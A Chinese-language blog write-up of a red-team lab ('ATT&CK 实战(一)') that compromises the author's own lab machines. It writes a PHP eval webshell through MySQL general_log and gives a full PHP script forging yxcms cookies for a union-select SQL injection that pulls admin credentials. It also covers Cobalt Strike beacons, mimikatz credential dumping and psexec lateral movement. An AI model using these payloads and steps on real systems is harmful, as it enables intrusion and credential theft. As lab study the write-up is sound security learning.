ATT&CK 实战(一)

环境搭建:

首先开启机器先拍摄快照以免出现问题。
Win7:
1.添加网卡(双网卡)
2.外网 NAT: 192.168.1.128
3.内网自定义:仅主机
内网机器:
Vm,vm2都是仅主机模式

然后互相ping一下 内网win7可以ping通vm1、vm2,vm1、vm2可以ping通。
最后打开win7C盘中的phpstudy就可以开始了。
拓扑图:
ATT&CK 实战(一)

访问站点发现是个phpstudy2014,看了一下是php5.4.45,然后开启了xmlprc,就想试一下命令执行,然后发现没有…

ATT&CK 实战(一)

下面有个mysql连接测试,输入root*2,居然显示连接正常。
呃呃 实战的话遇到弱密码肯定是很高兴的,但是靶机的话就有点…毕竟我是来学东西的(后面我发现我错了)
ATT&CK 实战(一)

正常扫扫扫。
ATT&CK 实战(一)
ATT&CK 实战(一)
ATT&CK 实战(一)
还扫出一个备份的文件,是一个网站的源码,一个一个来吧。
ATT&CK 实战(一)

突破一:Phpmyadmin

弱密码登入
ATT&CK 实战(一)
尝试写入shell

开启数据库日志
set clobal general_log='on'
ATT&CK 实战(一)

创建写入日志的文件
set global general_log_file='C:/phpStudy/WWW/sII.php'
要绝对路径哦
ATT&CK 实战(一)

查看是否开启
show global variables like '%general%'
呃呃换了个文件 不要在意细节
ATT&CK 实战(一)
然后直接select 查询一句话它会会被记录进日志里。
select '<?php eval($_POST["x"]);?>'
ATT&CK 实战(一)
访问文件
ATT&CK 实战(一)
去靶机下看看
ATT&CK 实战(一)

直接用蚁剑连接
ATT&CK 实战(一)

突破二:

ATT&CK 实战(一)

yxcms的站点 1.2.1版本的站点,和它的源码。

老规矩 直接上google,还好找到一个(没有就要自己上手了qvq),有人审计出一个cookie注入的漏洞。
虽然有现成的但是我们还是自己先看看 学习学习。
ATT&CK 实战(一)
用户的信息
找到cookie设置的地方(common.function.php)
ATT&CK 实战(一)
主要是我们知道了cookie的加密解密方法,然后cookie就是可控的了。
//cp_encode之后的解密函数, s t r i n g 待 解 密 的 字 符 串 , string待解密的字符串, string待解密的字符串,key,密钥
可以先注册个用户,然后拿cookie来进行验证。
Cp_decode(‘cookie’,’key’) $key在config.php中有定义就是yx
ATT&CK 实战(一)
1\t2\tzumumu\tzumumu\t192.168.1.1

先url解码后解密发现是由 :用户id\t+用户组\t+用户名\t+用户昵称\t+IP 组成的。

model.php里 实例化了 cpModel 并且构造了sql语句
ATT&CK 实战(一)
发现传参的值为id 并且没过滤的
ATT&CK 实战(一)

构造语句

判断字段为两个
ATT&CK 实战(一)
接下来就是常规注入了
ATT&CK 实战(一)

替换cookie访问我的账户得到管理员账户密码。
ATT&CK 实战(一)

下面是payload :

<?php 

function cp_encode($data,$key='',$expire = 0)
{
	$string=serialize($data);
	$ckey_length = 4;
	$key = md5($key);
	$keya = md5(substr($key, 0, 16));
	$keyb = md5(substr($key, 16, 16));
	$keyc = substr(md5(microtime()), -$ckey_length);

	$cryptkey = $keya.md5($keya.$keyc);
	$key_length = strlen($cryptkey);
	
	$string =  sprintf('%010d', $expire ? $expire + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
	$string_length = strlen($string);
	$result = '';
	$box = range(0, 255);

	$rndkey = array();
	for($i = 0; $i <= 255; $i++) 
	{
		$rndkey[$i] = ord($cryptkey[$i % $key_length]);
	}

	for($j = $i = 0; $i < 256; $i++) 
	{
		$j = ($j + $box[$i] + $rndkey[$i]) % 256;
		$tmp = $box[$i];
		$box[$i] = $box[$j];
		$box[$j] = $tmp;
	}

	for($a = $j = $i = 0; $i < $string_length; $i++) 
	{
		$a = ($a + 1) % 256;
		$j = ($j + $box[$a]) % 256;
		$tmp = $box[$a];
		$box[$a] = $box[$j];
		$box[$j] = $tmp;
		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
	}
	return $keyc.str_replace('=', '', base64_encode($result));		
}
function cp_decode($string,$key='')
{
	$ckey_length = 4;
	$key = md5($key);
	$keya = md5(substr($key, 0, 16));
	$keyb = md5(substr($key, 16, 16));
	$keyc = substr($string, 0, $ckey_length);
	
	$cryptkey = $keya.md5($keya.$keyc);
	$key_length = strlen($cryptkey);
	
	$string =  base64_decode(substr($string, $ckey_length));
	$string_length = strlen($string);
	
	$result = '';
	$box = range(0, 255);

	$rndkey = array();
	for($i = 0; $i <= 255; $i++) 
	{
		$rndkey[$i] = ord($cryptkey[$i % $key_length]);
	}

	for($j = $i = 0; $i < 256; $i++) 
	{
		$j = ($j + $box[$i] + $rndkey[$i]) % 256;
		$tmp = $box[$i];
		$box[$i] = $box[$j];
		$box[$j] = $tmp;
	}

	for($a = $j = $i = 0; $i < $string_length; $i++) 
	{
		$a = ($a + 1) % 256;
		$j = ($j + $box[$a]) % 256;
		$tmp = $box[$a];
		$box[$a] = $box[$j];
		$box[$j] = $tmp;
		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
	}
	if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
		return unserialize(substr($result, 26));
	}
	else
	{
		return '';
	}	
} 

$cookie='0ba1KAPdfcf7PR6jeazaTCCX%2BsnWP0ZOwC0JVh1cu3WFb0jQZmN6C%2BmMSbbTpdkuwlAcqWiOjg4fwHV94gvoli0%2FcnWcgQ';
$cookie=cp_decode(urldecode($cookie),'yx');
echo $cookie;
echo "\n";
$newcookie='333\' union select username,password from yx_admin#\t2\tzumumu\tzumumu\t192.168.1.1';
$newcookie=urlencode(cp_encode($newcookie,'yx'));
echo $newcookie;
?>

在拿出原生cookie的时候要先进行url解码,同样payload也需要进行url编码再使用。
然后发线解密后是:949ba59abbe56e05 登不上 我人傻了,然后看人家文章直接又是弱密码123456登入…
ATT&CK 实战(一)

后渗透

信息搜集:
查看权限:
ATT&CK 实战(一)
一上来就是administrator,

在cs上创建个监听

ATT&CK 实战(一)
在Attacks->packags下的windows executable(s)选择监听,创建个木马

ATT&CK 实战(一)

然后上传到蚁剑执行 等待上线(我等了好一会儿)

ATT&CK 实战(一)

ipconfig -all
ATT&CK 实战(一)
可以看到DNS后缀为god.org 一般就是域控的名称

查看域信息
shell net view /domain
ATT&CK 实战(一)
查询当前的登录域与用户信息:net config workstation
ATT&CK 实战(一)

查看y

ATT&CK 实战(一)
可以看到138是域控,将权限提升到system
ATT&CK 实战(一)
使用 dump hash模块导出散列值,获取凭据 (access->dump hashs)
ATT&CK 实战(一)
使用logonpasswords模块,调用内置在CS中的mimikatz将内存中的lsass.exe进程保存的用户明文密码和散列导出
ATT&CK 实战(一)

接下来就是横向移动,但是由于内网机是无法直接和外网连接的,这将win7当成跳板机。

官网介绍:SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。
因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
ATT&CK 实战(一)
首先新建一个监听
ATT&CK 实战(一)

然后使用之前获取的主机信息和凭据,使用psexec模块进行登入。
ATT&CK 实战(一)

ATT&CK 实战(一)
成功上线其他机器
ATT&CK 实战(一)
其实除了派生SMB还可以:

  1. cs 上开通 socks 通道,在攻击机上用 proxychains 将攻击机的 msf 代入内网,但是 cs 的 socks 代理 不稳定
  2. ew 添加转接隧道,在攻击机上用 proxychains 将攻击机的 msf 代入内网
  3. cs 派生到 msf,msf 使用 socks4a 代理进内网,但是并不稳定
  4. cs 派生到 msf,msf 使用使用 autoroute 添加路由进内网
  5. 用 frp 创建 socks5 代理

后面再一个一个尝试。

PS:
https://soapffz.com/sec/558.html

上一篇:CK-UR08-E00系列RFID工业自动化超高频读卡器自定义协议说明


下一篇:clickhouse-(07)-性能优化